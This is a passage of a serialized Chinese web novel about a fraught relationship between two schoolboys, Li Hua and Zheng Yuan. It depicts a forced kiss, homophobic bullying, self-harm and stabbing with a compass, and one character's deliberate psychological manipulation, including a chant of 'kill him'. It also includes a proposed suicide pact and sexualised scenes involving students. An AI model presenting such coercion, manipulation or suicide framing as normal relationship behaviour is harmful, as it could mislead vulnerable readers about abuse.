直到放学铃打响，李华才被吵醒。他揉揉眼，有些卡顿，因为他的胳膊麻了，让他皱着眉嘶了好几声，随即听到一声轻笑，他猛然扭头，眼都睡红了，侧脸还压的有印子，正对上郑源温温柔柔的目光，很宠似的收回了手。李华睡了多久，他就给他挡了多久，肩膀头也酸疼，但很满足的揉着。李华也忍不住活动活动，才意识到有什么从自己后背上滑落，他低头的瞬间，郑源也低下了头，两个人头抵头的一顿，又看向对方，地上掉的是郑源的校服，他穿着直勾勾地看着李华，让李华猛然站起来后退好几步，可惜他旁边是墙，这一急直接磕到了头，眼泪瞬间疼出来了，可把郑源心疼死了，他连忙站起身站到他跟前：“没事吧。”
他伸手要摸，李华打开他的手，很生气，很委屈，郑源抿了下唇，将检讨书上的内容忘的一干二净，还是强势抬起了手，语气却很轻，“别动，我看看。”
李华被他困在墙和自己身体之间，一呼一吸全是他的味道，固执地推着他的胸膛，郑源的手插进他的发丝抚摸，没找到疙瘩，却摸的李华呼吸混乱，又是这种酥麻的感觉，他忍不住往后仰头，皱着眉，睫毛在郑源眼下颤抖。郑源心跳很快，教室已经没人了，他舔舔唇，心就快跳出胸腔了：“李华……”
啪，灯灭了。
李华瞪大眼，下一秒，唇就被堵上了，郑源强势地抱着他，李华愣了，傻了，他呆呆地瞪着眼，郑源吻的投入而深情，恨不得将他一点一点拆了吃掉，李华推不动他，被他越抱越紧，想说什么，却只发出黏腻的轻哼。郑源更激动了，像得到骨头的狗，尾巴都要摇成螺旋桨，拉着他的手搂自己的脖子，亲嘴还不够，要吃他的舌头，口
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水，满足后无意识的亲脸，亲脖子，埋在李华脖颈又咬又啃，又吮又吸，李华全身发麻，像块儿冰也被他炙热的体温暖化成一摊水，他只感觉脖子暖烘烘的，咬着下唇，再也不发出声音，抓着他的肩膀试图推开他。
两个人离得太近，李华清楚的感受到自己腿间的不适。
他有些害怕地后退，试图把自己嵌进墙里。郑源察觉到他的手在哆嗦，和他十指相扣，一下又一下，啄木鸟似的亲他的嘴，声音又低又哑，很急的哄着他：“我不动你，宝宝，我不动你。”
察觉到郑源的桎梏松了，李华猛然推开他，也没看他，匆匆离开。
郑源心满意足地笑了，整个人放晴了似的，却在离开时忽略了一直站在角落里的阴影。
第二天，全年级都知道了，郑源和李华在教室亲嘴。
李华听到的时候整个人都炸了。他无论去哪儿都有窃窃私语和指指点点，让他的脸一会儿红一会儿白，哆嗦着手说不出话。他没脸看任何人，也不敢看，只坐在自己的位置上勾着头，下课连厕所都不去，任由郑源怎么逗都没用。他把说这些话的人好一阵怼，哄着李华，说好了没事了，没人说了。李华的指尖深深地嵌进手掌，脸色一片苍白，甚至出着冷汗，感到头晕目眩。连上课时老师看他的目光都似乎有厌恶与嫌弃。他听不进去任何话，在众目睽睽之下，不受控地扇了自己一巴掌。把郑源吓一跳，连忙摁住他的手，李华挣不动他，开始掉比豆还大的眼泪，一颗又一颗砸在郑源的手背上。
他恨，恨自己，谁都不恨，就恨自己。
恨自己贱，恨自己无能，恨自己难堪。
“你就是这样上学的？这样回报父母的？”
“男同性恋，艾滋病。”
“你对得起谁？”
李华想嚎啕大哭，却哭不出声音，他只是不停地抽咽，像是要背过去，气儿都喘不顺，把郑源和老师吓的连忙要把他从教室带出去。他却执拗、固执、死犟地抱着自己的课桌，要学习，一边哭一边道歉，说对不起，我不会再这样了，我不敢了，我想学习，求求你们了，让我学习吧。
像是一种心灵感应，郑源突然把他抱紧了怀里，抱的死紧。众目睽睽，所有人都倒吸了一口凉气，连老师都震惊、错愕了。奇怪的是，李华冷静了。他手里攥着圆规，将针狠狠地扎进郑源的大腿，血瞬间浸湿校服裤子。
他藏在郑源怀里，愤恨地将圆规抽出再扎进去，循环往复，让他半条校服裤子全是血。郑源疼，但他知道，这样李华就不疼了。
这一幕实在是太惊悚了，让老师不得不打断李华：“李华！”
李华捂住耳朵。
老师无言：“你……”
“没事，老师，上课吧。”郑源疼的汗浸湿后背，但他没放手：“就这样吧，下课再说。”
李华没再动了，但是也没挣脱，硬是在他怀里躲了一整节，看起来就像郑源从后半抱着他。
一下课，李华不顾所有人的目光，推开郑源就出去了，郑源想追他，被老师压着去医务室。
后几节课李华都没上，这是他有史以来，第一次逃课。
75.第 81 章
傅一青找到李华时，他正躲在器材室的角落里无声的哭。虽然这里经常有学生来拿各种体育器材，但是无人在意的角落还是很脏，布满灰尘。丝线似的蜘蛛网缠绕在李华的后背，他毫无察觉。听到门口有动静，他很慌，看到是傅一青，想张嘴的瞬间又立刻往后缩了缩。
傅一青的眼神很心疼。他轻轻关上门，朝他走来，蹲在他身边，片刻后搂住他，李华很僵硬也很抗拒，但傅一青温柔又强势地让他靠着自己的肩，轻轻拍他的背，说：“没事的，没事的。”
李华慢慢放松下来，眼眶突然就更红了。他说：“你都知道了吗？”
傅一青垂眸没说话，在李华看来就是默认。他感觉天塌了，连这个才接触了几次的朋友都知道他的事儿了，那不是全校都知道了？全校都知道了不就是老师都知道了？老师都知道了……会不会请家长，爸妈和舅舅又……噢对，老师已经知道了，他犯什么傻，老师都看到了……
他已经没力气再哭了，眼泪都流干了。
傅一青说：“没事的，李华，这不算什么，大家会忘了的。”
话音刚落，突然有几个学生吵吵闹闹的进来拿篮球，一眼看到角落里的两个人，瞬间互相推搡着、嘲笑地指着李华：“操□□儿的同性恋！”
还有人厌恶道：“变态！真恶心。有病。心里不正常。”
李华瞪大眼，眼眶里荡着明晃晃的泪珠，脸色苍白，像是被刺伤了，疼的一动不动。傅一青连忙站起来挡在他身前，把他们都赶出去，沉下脸，语气非常不善：“出去！快出去！”
傅一青把人赶出去，反锁上门，沉默地坐在他身边，没再搂他，只是陪他静静地坐着，没再说话。
“我……不是……”李华紧紧地抓着自己，再干涩的眼眶也滚下了泪珠，这不像他的泪，更像他的血，他几乎字字泣血，机械地重复一句话：“我……不是……”
不是什么？傅一青没有问。他只是在心里倒计时了十个数，然后气愤地站起身：“我去找老师！”
“不要！”李华瞬间拉住他，缓慢摇头：“不要……”
“那怎么办？就任他们这么伤害你？”傅一青很生气，气的他都快哭了，声音颤抖，“那跟你……的那个男生呢？就这样不管了吗？你这么难过、被针对，他在哪儿？我要去找他——”
“别去！”李华紧紧地拉住他，甚至站了起来：“别去，傅一青，别去找他。”
他慢慢松开手，又蹲回去：“我……”
他想说他把他弄伤了，又想说这事不怪他——可是怎么会不怪他？明明怪他怪的要死，如果不是他，又怎么会！可是他更该怪的，难道不是自己……如果不是自己心软、懦弱……贪婪……他也分不清他是怎么想的，他是这样的愚蠢又可悲，没法放过自己，又没法分清现实，更理不清感情，最终让这团火越烧越旺，越烧越大，彻底到如今无法挽回的模样。
傅一青定定地看着他，像恨铁不成钢，更像震惊：“你为什么这么怯懦？为什么一而再再而三的维护他？难道你真的喜欢他？你到现在竟然喜欢他？他对你哪里好？你喜欢他？！”
“我不喜欢！”李华应激的反驳，声音却越来越小，“我怎么可能喜欢他？我恨他还来不及，我恨他……”
“那你就跟他撇清关系！”傅一青激动地握住他的肩膀，“不要心软，李华。”
他把李华抱进怀里，循循善诱的引导：“我知道他是谁，郑源，对吗？”
李华挣扎，他限制住他，自顾自地说下去：“他的确很帅，很有魅力，但是他真的喜欢你吗？如果他喜欢，怎么会不分场合的亲吻你？他不知道这是学校吗？是因为他家里有钱，别人的风言风语对他构不成威胁，但是他考虑你了吗？你看这些人，都只会欺软怕硬啊，但郑源有不让他们伤害你吗？你不让我去找他，但是他来找你了吗？他就是想让你孤立无援啊，想让你陷入这样的境地，想让你悲惨难堪，这样你就不得不依靠他，让他来救你……李华，你有朋友吗？”
傅一青松开他，盯着他的眼，说的很缓慢，像下迷魂药：“李华，你这么惨，都不感觉自己可怜吗？你只会像待宰的羔羊，任他欺凌，你看到自己不觉得恶心吗？你是他脚边怎么踢踹都赶不走狗，恨不得上杆子倒贴他的贱人吗？你父母。”他像是要吻他，离的极近，看着他错愕痛恨又悲苦的神情，说了最后一句：“你父母知道你在学校，给其他男同学当婊子吗？”
“啊啊啊啊——”李华疯狂地尖叫出声，抱住脑袋，理智彻底崩盘。
傅一青深吸一口气，像是在享受他的痛苦，无声地笑了。
他站起身，嫌恶地拍拍身上沾染的灰尘，鄙夷地看着瘫倒在地的李华，眼神一换，又成了那个贴心的哥哥。他把李华拽起来，拍干净他身上的土，非要他站直，李华做不到，他太难过、悲伤了，哭的都要晕厥过去了。傅一青靠近他之前早就将他和郑源之间的接触了解的一干二净，他知道李华本身就是个比较胆小怕事的人，但他硬是在郑源的霸凌欺压下长出了胆子和根骨，只是这只像小鸟似的男孩儿还没有彻底长成，他在郑源那儿的肆意妄为无非是仗着郑源给他的底气和宽容，对于外界带给他的磨难，他还是那个会下意识躲起来、缩起来的鸵鸟。
“你会感谢我的，李华。”傅一青捏住他的脸，让他看自己，“人都会在巨大的悲伤下成长，我爱的人去世时这个世界上就已经没有任何能威胁我的东西了。”他不知道想到了什么，神情又变的温柔了，“但是爱会重新生长，人也会脱胎换骨。你最大的敌人不是这些垃圾同学和你喜欢又不敢认的郑源，而是你自己，是你自己无法面对你内心深处最直白露骨的欲望。”
他勾起唇角：“那就杀死他。”
“走出这间教室，去亲手杀死那个喜欢郑源的你，你就解脱了，再也不会被任何困苦束缚。”
——亲手杀死自己喜欢的人，让他温热的血溅在你的脸上。
——李华，只有你能杀死他。
——杀死自己，杀死郑源。
——只有你有这个权利。
——他就是你的敌人。
——杀死他。
——李华，杀死他！
——杀死他！李华！杀死他！
——杀死他！
——杀！死！他！
李华落了最后一滴泪，被傅一青接在手里，他听到李华小声地说对不起。
郑源从医务室出来后，脸上没有一点血色。还不等他火急火燎地去找李华，李华就已经出现在了校长办公室。
郑源以为是校长找他的麻烦，几乎是一瘸一拐地跑
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到地方，还没推开门就想说跟李华没关系，全是我——
李华背对他站的很直，身上不知道从哪儿沾了灰尘，他扭头看郑源，很平静，又很陌生，巴掌大的小脸上全是冷漠。
郑源搞不清状况，看眼校长，校长的面色实在是不算好，他让郑源进来，关上门。
第一句就是：“郑源，李华同学说你强制猥亵他，有这件事吗？”
郑源只顾着看李华，还想伸手拉他，问他：“你没事吧？”
看李华躲开，才后知后觉校长说了什么，“啊？”
他看看李华，又看看校长，大脑快速转着，反应过来：“啊，是我，一切都是我的错，跟李华同学没关系。”
他把一切错都揽到自己身上，希望校长不要找李华的麻烦，校长的脸色有些难看，“虽然我们学校比其他学校要轻松，但是这样的事也不能发生！”
郑源是完全不在乎的，反正对他而言也不会有什么大处罚。但校长接下来的话让他瞬间就愣了。
“因为现在校园里已经有不少关于你们两个的传言，根据李华同学的要求，他希望你向他赔礼道歉，并签保证书，以及下半学期，休学。”
“休学？为什么？！”郑源拉着李华的胳膊，“为什么，李华，你不想看到我了吗——”
李华甩开他：“还能有为什么？因为你恶心，你到底要让我说多少遍，你不要再缠着我了，我讨厌你！现在好了，老师同学怎么看我？你们家有钱有势，没人欺负，我呢？你把我当什么？玩物？贱人？还是……婊子？”
最后一个词他说的非常轻，睫毛也在抖，郑源还是听清了，他震惊地张着嘴，一句话都说不出来，随即反应过来强势地拉着李华，非要让他看自己：“谁教你的？这是谁教你的？你不会说出这样的话，李华！你看着我！你说啊，这是谁教你的，你说啊！”
李华被他拽的疼，忍不住后退，校长不得不拍桌子：“郑源！”
郑源慢慢放下手：“我可以道歉，但我不接受休学。”
他深深吸口气，腿疼的他几乎站不住，踉跄几步坐在沙发上，刚刚情绪太激烈，导致腿上的纱布崩开，他说：“我道歉，我检讨，可以记我大过，但我不接受休学。”
他看着李华，“你就是找警察，你就是他妈出去告我，你也得不到任何结果。”
李华哑口无言，校长又何尝不知道他说的是对的。一个两个都是手心手背的肉，相比李华这个好学生，他更不想得罪郑源这个更好的学生。郑源有这个嚣张狂妄的态度正中他下怀，他拿着杯子喝了口水，已经有了答案。沉着声，拿出了最后的杀手锏：“李华同学，如果你不满意，我们可以请双方家长过来继续谈。”
李华在这一刻，突然感到这个世界清晰明了了。
来之前，傅一青跟他说：“你不信的话可以去找校长，不过是自欺欺人罢了，不会有人帮你。”
还真是。
他笑了。他笑的掉出眼泪，对命运这张网投降了。
他一句话都没说，转身出去了，郑源立即跟在他身后。
“李华……”
李华停下脚步，声音很平静，扭头看他，眼神还是那么干净诚挚，“你不是想跟我谈恋爱吗？”
他看着郑源，“好啊。我们谈恋爱吧。”
76.第 83 章
这几天郑源都在樊瑞那儿喝烂酒，樊瑞没办法，劝不住他也不想陪他，思来想去，又把韩娇喊来了。韩娇自上次跟郑源说清楚后就没再见过他，但答应的爽快，没多久就来了。郑源知道自己对不住她，勉强打起精神要走，韩娇端着酒杯，直接泼到他的脸上。郑源一顿，酒水顺着他高挺的鼻梁往下滴，他赤红的双眼看着韩娇，樊瑞没想到这位更是暴脾气，连忙挡在两人中间，回头无奈地说了句：“你真是我姑奶奶。”
韩娇推开他，又泼了郑源一杯。郑源下意识躲了一下，辛辣的酒水进了点眼睛，蛰的他睁不开眼。“别揉！”樊瑞要拉他，被他甩开，急道：“快去洗洗。”
郑源踉踉跄跄地往洗手间走，韩娇跟在他身后：“你还不如我，郑源，你知道我有多喜欢你吗？你知道吗？我都能敢爱敢恨，你呢？你除了懦弱地躲在这儿还会干什么？”
“姑奶奶！”樊瑞扶额：“你少说两句吧！”
“我就说。”韩娇连他一起瞪：“你们都只会顺着他，说他喜欢听的话，有把他当真心朋友吗？”
樊瑞张张嘴，哽住。
韩娇转身坐到沙发上，她还穿着粉色的外套，也闷了口酒，但看起来出奇的冷静，还重新弄了下发型，“喜欢就是喜欢，不喜欢就是不喜欢，没必要这样作践自己。你是郑源诶，当初那股傲气去哪儿了？就因为一个不喜欢自己的人，把自己弄的跟条狗一样，不丢人吗？！”
她知道郑源听得见。
“我对不起他。”郑源洗了脸，额前的发也湿了，一滴一滴地往下落水，帅气的脸惨白，双颊却红润，眼神迷离着，有种失魂落魄却又惊心动魄的美。韩娇一时被他的美色迷惑，想不起自己要说什么。缓了会儿才道：“对不起就对不起了，你知道自己对不起他，不就是已经悔改的开始了吗？他如果能原谅你，早就原谅你了，如果他原谅不了你，你也得坦然接受。这个世界上最没用的话就是对不起。实际上说对不起完全没有任何用，想原谅你的人，哪怕你不道歉，他也会原谅你。”
郑源抹了把脸，拿着外套走人。
他不想听大道理，他只是不想回去面对李华，又不知道该怎么办，两个人像是生锈机器，卡在这儿了。
回去时李华已经睡了。郑源昏昏沉沉地洗漱完轻手轻脚地上床，突然吓的从床上滚了下来。李华没睡着，不仅没睡着还等着他，不仅等着他还浑身赤裸，连内裤都没穿。他听到咚的一声，是郑源摔下床的声音。他拉开灯，被子从身上滑落，露着白皙单薄的肩头，他对上郑源震惊又不可思议的眼神，有些茫然。
仿佛喝醉的不是郑源，而是他。
“你干什么？”郑源理解不了，“你睡衣呢？”
以前穿身上跟焊死了似的，现在怎么光不溜秋的又消失了。他不敢探寻这背后的动机，不等李华回答就扒衣柜。李华说：“这不就是你想要的吗？”
郑源的动作停了，他的手无力又缓慢地垂下，片刻后才回过头，酒精还没消退，暖色的灯光照的他像在无声地哭。他说：“我想要什么，你知道？”
李华掀开了被子。
他浑身赤裸地躺在床上，邀约的意味非常明显。
-这样会让他对我失去兴趣是吗？
-你怕让他碰你吗？
李华沉默很长时间，才对着傅一青摇摇头。
傅一青说，你宁愿做出这样的牺牲，也希望和他分开？
李华点头。
傅一青笑了：“你好奇怪，又好伟大，宁愿这么对自己，也不想伤害他。”
李华温和地看着郑源。
“你不用这样看我。”郑源将扒出来的睡衣摔在他身上，“我不会再和你睡一起了。”
他走了出去。李华黯然失神。片刻后门被猛地推开，李华看着他，郑源气的声音都在颤抖，更像在哭了，他指着李华，气的说不出话：“别让我知道谁在背后挑唆你，我非杀了他，你最好祈祷，李华，我是真的喜欢你，我……”
他说不出话了，再次摔门离开。
李华愣愣地看着手上的丝绸睡衣。
郑源和李华的关系降至冰点。这是这么长时间以来，郑源第一次如此沉默地对待他。他还是很关心他，事无巨细，但李华的话、李华的举动，全都当没听到、没看到。
真是一块难攻克的骨头。
傅一青听着李华的描述，知道没有大刺激是攻击不了郑源了。他和李华的不同是，李华有主见，但面对自己拿不定的事情愿意听别人的去尝试，郑源是自己也很迷茫，但他迷茫的固执己见。是会日复一日守着一块儿石头开花的愚者。
不好说李华和他谁更犟，但李华做不到郑源的决绝。大概是骨子里带的，郑源这点跟他父亲一模一样。
“你说他父亲吗？”樊瑞犹豫片刻才告诉他，“虽然很不可思议，但是，他父亲是殉情。”
什么样的人会因为爱人的离世殉情？傅一青爱这样的结局，连带着看郑源都温柔很多。
郑源对他这个人向来无视。他已经习惯了在樊瑞这儿看到傅一青，哪天看不到了，反而觉得奇怪。而且不知道是不是他的错觉，他总觉得傅一青老是看着他，该不会钓樊瑞一个不够，还要来勾引他吧？他瞬间一阵恶寒，连带着看傅一青都有些不伪装的厌恶。
傅一青完全不介意别人怎么看他。他只觉得有趣。他很小的时候会切土豆丝，把每一条土豆丝都切的一模一样，切不好的话就重切，哪怕切上一天，被父母凶，他也要切一个完整的土豆。他有许多人无法理解的怪癖，比如喜欢对每一个人好，看着他们轻而易举的相信自己，又感到无聊和厌弃。这样没品低俗的消遣是他的游戏，他知道人都是丑陋的，表现出的友好不过同自己一样是伪装，但有时候他又觉得是自己装的太像，入戏太深，连自己也被自己骗了。
他知道他的人格是缺失的，可是这个世界上没有人的人格是健全的，他不过是芸芸众生中的其中一个罢了。
自上次被韩娇泼过后，郑源就没再喝过酒，明显看出心情抑郁阴沉也不喝。樊瑞让傅一青看过韩娇的照片，傅一青说她是家里的小公主，过得很好，应该有一个强势的妈妈。樊瑞很惊讶，夸
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他厉害，问他怎么看出来的，傅一青笑着说直觉。
是敏锐。韩娇来了以后傅一青更加坚定了自己的想法，目光也收敛的多。他能感觉到她不是一个单纯的小女孩儿。聪明人不讨厌比自己聪明的人和比自己笨的人，但是讨厌和自己一样的聪明人，那感觉像照镜子，把心里那点儿龌龊照的无处遁形。韩娇却一眼看到了他，很明显的第一眼也不喜欢。傅一青便没有多留，过了两分钟就走了。
“那是谁？”韩娇问郑源。
“樊瑞的男神。”郑源说。
韩娇看着他：“状态不错。好点了？”
郑源嗐了一声，“樊瑞出去点货了，没在。”
“我不找他，找你。”韩娇将李华的伞拿出来，还用袋子装好了，“一直忘了还了。”
郑源接过，想起她的伞好像被自己顺手扔了，一时尴尬，韩娇说：“没事，同样的伞我还有三把。”
郑源挑眉，“买那么多伞干什么？”
“要你管？”韩娇没跟他多说，还了伞就走了，到门口，又停下嘱咐一句，“你们两个的事我后来又了解了一下，我可以很明确的告诉你，躲不是事儿，你现在应该面对他，陪着他，尽管。”她截断郑源的话，“尽管你不知道怎么面对他，但是，仔细总会发现一切，你这一直拖着，只会让事态更严重。”
郑源扯扯嘴角，说：“谢了。”
他只是一直在思考，到底要不要那么做。
又抽了两根烟，他的目光坚定了，回家找到李华，向他伸出了手。
李华莫名其妙地看着他，“干什么？”
他还在写作业。
“手机。”郑源说：“拿过来，让我看看你都在和谁联系。”
李华闪过一丝慌乱，他张张嘴，避开郑源的目光，看向作业，“没谁。”
“没谁就有鬼了。”郑源一看他这样就知道，顿时怒从心起，看他下意识往右撇，知道手机在裤兜里，走到他身边就要拿，李华连忙阻止：“郑源！”
郑源是用了力气的，李华敌不过他，急的破音：“你别！郑源！”
他抱住了他。
郑源一顿。
李华紧紧抱住他的腰，心跳飞快，两个人都静默了，李华不敢松手，只抬头看他：“他是我朋友，不要这样……”
那双眼睛水灵灵又悲哀地望着他，郑源慢慢放下手：“他不是好人。”
“他是！”李华的声音很弱，是真的怕，“他帮过我。”
在器材室那群男孩儿指着他骂的时候，是傅一青坚定地挡在他身前。
郑源很疲惫地喊了声李华。
他慢慢蹲下来，握住他的手，“别学坏好吗？”
他的目光竟比李华的还要痛苦，满是祈求。他低头亲了亲他的手背，手腕，下意识向前，想亲他的嘴。两个人距离很近，台灯照着他们的侧影，呼吸交缠，郑源轻缓地眨了下眼，亲了他的额头，“写作业吧。”
他走了。李华坐在桌子前，透过黑色的文字，仿佛看到夏天的蝉落在窗台上，开了一下极为轻盈的翅膀。
77.第 84 章
-他看起来很伤心。
-你心软了。
-这样是不是太过了？
-那你想怎么办呢。
-我不知道……
-你想跟他在一起。
-我没有！
-你有。
李华张张嘴，打字。
-我只是想再换种方式……或许我可以跟他谈谈……
-随便你。
-你生气了吗？
李华握紧手机叹口气。
片刻后傅一青回过来。
-感情的事得自己想明白，我只是为你感到悲哀。你跟他在一起我并不反对，只是如果你再次受到伤害怎么办呢？会不会怪现在心软的自己？会不会更难受痛苦？只要你想清楚最惨痛、最悲哀的后果，做什么都随你。
李华望着这段话出神。最惨痛、悲哀的后果，会是什么？
形同陌路？成为仇敌？
继续挨打、受欺负、校园霸凌？
还是他一个不开心，把自己从学校赶出去？
郑源的好像虚幻的泡沫，但是他的坏却实打实地落在了李华的心里，因为伤的太重、太深，导致那些好也只是像涂抹在伤疤上的奶油，随着热度的升高慢慢融化，露出满目苍夷。
他是相信他，也想要相信他的，可是他不敢，也不能，他只有一条命，只有一次机会，他没有任何容错率。
对不起。
郑源，对不起。
口头的保障给不了李华任何的安全感，他必须自己强大起来，强大到能捅破郑源顶在他头上的那片天，他才有勇气说出自己的真心话，不会怕随时被抛弃，不会一直处于被动地位。
他的前途、他的父母、他的人生，比郑源对他的喜欢、比自己的感情，都更重要。
他是这么自私又冷漠。
学校里的同学因为老师的批评和郑源的料理都不敢再说些什么，偶尔会有几个犯贱的男同学想要来骚扰李华，都被郑源暴打，久而久之他又成为了那个独坐高楼的学霸。
郑源不知道他心中所想，只感觉他的状态有点回到以前，很欣慰。
但是他依然不能忘记背后挑唆的人，也无法放过他。他查了学校的监控，惊讶地发现对方买通了保安，屏幕里只出现了李华，并没有出现他，把郑源气的踹凳子。保安虽然不愿得罪他，但也实在说不清楚，只说是个高年级的，高年级的。
一体式的学校虽然在一个校区，但是上课下课放学时间节点都不一样，还是南北两个门，郑源从来不往高中部跑，懒得，想不起来，也没什么意思，他不是爱到处疯玩的人。
高年级的，高年级那么多人，他上哪儿一个个查？！
也不是没有趁李华睡着偷看过他的手机，但是这小孩儿学聪明了，电话短信删的一干二净，连回收箱都空空如也，郑源想拿他的手机去找个黑客，奈何李华又不离身，根本不给他机会。让郑源觉得除了跟踪，想不到第二个办法。
“怎么看着像冲你来的。”韩娇抽着烟，她新做了美甲，指甲闪闪发光，一边说一边欣赏：“我这十根手指头一万块，好看吗？”
郑源瞥了一眼，“难看。”
韩娇推他一把，“会不会说话。”
她的指甲轻轻划着汽水瓶，“这么不想被人发现，动机很可疑啊。李华还那么护着他，被耍的团团转。可是李华又什么都没有，我觉得就是冲你来的。指不定是你哪个仇人，知道你喜欢李华，不想让你俩好过。诶，你跟李华的事儿都谁知道？”
樊瑞笑了一声，“知道的人可不少。”
“那就不好找了。”韩娇耸肩。
“傅一青呢？”郑源看着樊瑞问，“他不是会出谋划策吗？”
樊瑞神色不变，“你不是不喜欢他，我就没让他来。”
“去你的吧。”郑源说，他是第一天不喜欢他吗？也没见他之前少来啊。
“傅一青？是那个男生啊？你男神？”韩娇饶有兴趣，“他长的还挺好看的，就是……”
樊瑞看着她：“就是什么？”
“没什么。”韩娇不想过多评价，又把话题扯了回来，看着郑源，“你准备怎么办？”
“继续查，是耗子早晚露出尾巴。”郑源咬牙切齿，“让我知道是谁，非把他的皮刮了。”
只是可怜了李华。郑源想到他委屈巴巴地抱着自己，说那是他的朋友，生怕自己找他麻烦，他就觉得胸闷气短。李华没朋友，好不容易有一个还对他这样。郑源只感觉一团火窝在心口，下不去也出不来。越是觉得李华可怜，越觉得耍他的人可恨。他怎么敢？李华那么单纯、善良又可爱，他怎么敢？
郑源只要想想就觉得气的头懵。可惜的是李华不信他。李华宁愿相信那个不知名的朋友是好人，也不愿意相信郑源说他是坏人，让郑源无奈又悔恨，怎么会给对方可趁之机。明明看李华看的已经很严了，怎么还会有这样的脏东西靠近他，教坏他，玷污他。
他本身就气性大，只想一会儿就想揍人了。
他少有的联系了郑玉安。
郑玉安自从有美人在怀就把他忘的一干二净，郑源想让他管自己他都没工夫。以为这崽子是来要钱的，没想到是来找他切磋的。郑玉安练过，郑源那三脚猫功夫不够他看。他把这急躁的小孩儿摔了好几跤才把他从地上拽起来，问他怎么了。只一眼他就看出郑源状态不对。
郑源倒豆子似的把最近发生的事儿全说了。
郑玉安听着，抱着胸，只点评了一句，“自讨苦吃。”
“谁？”
“你。”
郑玉安居高临下地看着他，“早就跟你说过把人训服，你不听，不然哪儿来这么多破事儿。”
“他是个人。”郑源真受不了他这论调了，现在已经可以从迷茫到反抗了，“不是，你对你自己喜欢的人，你不会心疼吗？你看他难过、哭、害怕，你不会觉得自己不是个东西吗？是，我以前是打过他，但那是以前，我现在改了，我悔过了，我说了我不会再那样对他了，我再听你的，把他打服，那我不才是真正的自讨苦吃吗？而且跟李华什么关系，错的不是他背后挑唆的人吗？”
郑玉安笑了，“小源，人不能太贪婪。你始终不能明白你的痛苦源于你想要的东西太多。你打过他，还要他原谅你，你改过自新了，就要他爱上你，你自己说的过去吗？错的是背后挑唆他的人吗？他如果真的不想离开你，会被人挑唆吗？你真的确定，他不知道那个朋友是在破坏你们的关系、帮助他离开你、报复你吗？他是受蒙蔽的，还是自愿的，你确定吗？还是只是你一厢情愿的认为对方会给你机会？”
郑源瞪大了眼。
-对不起是最没用的话，想原谅你的人你就算不说对不起，他也会原谅你。
“我真的……没有机会了吗？小叔。”郑源尾音打颤，“他真的这么讨厌我吗？”
真的是李华心甘情愿被掌控的吗？
“你应该问他。”郑玉安拍拍他的肩，“不过我也提醒你，出的洋相够多了，别让你父母为你感到汗颜。”
李华到家时发现郑源也在家。这是少有的情况。他就坐在沙发上，一动不动。李华抿了抿唇，想了想，还是决定走过去，择日不如撞日，就今天把话说清楚。
郑源没看他，只是看着一处
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虚无。李华说：“郑源，我想跟你说清楚。”
郑源的目光移到他身上。
“我不喜欢男生。”李华深吸一口气，“我只喜欢女生。谢谢你的喜欢，但是我们之间不可能。”
郑源只是看着他，看着他坚定又认真的模样，“是你的真心话吗？”
“是。”
“是你的真心话。”郑源说，“还是你那个朋友教你的话？”
李华微微瞪大眼，张了张嘴，随后更加坚定，“我自己的真心话。”
“可以。”郑源点头，“手机。”
李华这才隐约察觉到他不对劲，他皱了下眉，“干什么？”
他大意了，和傅一青的通话记录还没删，虽然没说什么，只是说他决定这两天跟郑源说清楚，但是这个时候被发现，还是跟出卖他差不多，李华很警惕，整个人都防备着。
郑源猛然起身，他双手往后捋了把头发，又半蹲到李华面前，“李华，你那个朋友，一直在挑唆我们之间的关系，他在激化我们之间的矛盾，你别听他的好不好？你看我做给你看好不好？”
李华垂了下眼睛，“我知道。”
“……”
郑源说：“你知道什么？”
他的尾音在颤。
“是我让他帮我出谋划策离开你的。”李华将所有的错揽在了自己身上，“跟他没关系。”
郑源愣愣地看着他。
所以从始至终都是两个人之间的问题，从始至终都是李华在尽自己的努力去伤害他。
郑源那样看着他，眼泪突然就落下来了。
他为自己感到委屈，可是好像又没什么好委屈的。他低下头，李华看到他的眼泪掉在地上，一滴又一滴，突然也很难过，他听到郑源说：“你非要这么糟践我吗？”
郑源从无声的落泪到呜咽，到痛哭，他跪在地上捂着脸，泪水顺着他的指缝流下，他太悲哀了，也太可笑了，这个时候会有人喊爸爸妈妈，可是他连想要一点关爱和安慰的权利都没有。
李华想要拍拍他的肩膀，手伸到半空中，克制住了，他收了回来。
郑源慢慢止住哭声，笑了：“你走吧。”
他说：“我不会再纠缠你了，你走吧。”
李华张张嘴，又闭上。他起身走去卧室，收拾了自己的东西，走到沙发边看郑源还跪在那儿，还是说出了那句：“对不起。”
这三个字却突然像铃铛敲醒了梦中人，郑源猛地抬头看他，目光又深又黑又偏执，李华直觉不好，他拔腿就跑，郑源却疯了似的抓住他硬把他拖回来：“你不准走！”
李华被勒的没办法，拼命挣扎，眼见着门离的越来越远，他一口咬上郑源的虎口，郑源吃痛，就这也不放手，他紧紧地抱住李华，像无法离开妈妈的孩子：“别走，李华，别走，我求求你，你走了我什么都没有了，别走。”
“你放开我！”李华推不动他，巨大的悲哀与痛苦将他们紧紧缠绕，李华说：“你非要逼死我是不是？是不是？”
郑源笑了，笑的震颤，他说：“我跟你一起死好不好？”
李华瞪大眼，郑源将脸埋在他的脖颈处，“我们一起死吧，李华，我没什么好留恋的了，真的，如果你死了，我会跟着你一起的。”
“疯子……”李华被吓的说不出话：“你这个疯子……”
郑源安静地抱着他，只抱着他就好了，他突然理解了郑玉安的话，相比失去，他们这种胆小鬼、贪婪的魔鬼，只要对方在就好了。
他笑了一下，“李华，你赶不走我，甩不掉我的。”
虽然对不起没有用，但是，李华，对不起。
78.第 85 章
樊瑞的地下演出舞台建成了，他第一个邀请来观赏的人就是傅一青。傅一青站在灯光聚焦的地方往下看，突然想到段喻。想到段喻参加歌唱比赛，所有的灯光都打在他身上，让他身上披满了光，像天使降临，他深情又温柔地唱了首《美人鱼》。
傅一青站在角落里看着他，好像段喻身上的光一丝一缕穿越无数人群往他心里去，让他悸动。
-你知道喜欢是会传染的吗？
-你传染给我，我传染给你？听起来像感冒。
如果真的像生病呢？
如果喜欢，真的是一种让人生病的情绪呢？
傅一青闭上眼，耳畔响起歌声，仿佛他就站在这里。
“这里真的是一个很好的□□场地。”樊瑞上台站在他身边。
自从看了他的视频，他面对傅一青总有种炙热的渴望，仿佛这个人干什么都在钓着他。如果说之前只是爱慕，现在已经是渴求，焦灼。理智和欲望拉扯，他真想看到他亲自在自己眼前、为自己展现那如海妖般的媚惑与浪荡，让傅一青驰骋在他身上，感到解脱和自由。
剥去他的精神外衣如同褪去他的衣裳，拥抱他如孩童般的稚嫩与羞涩，感受他的柔软与火热。
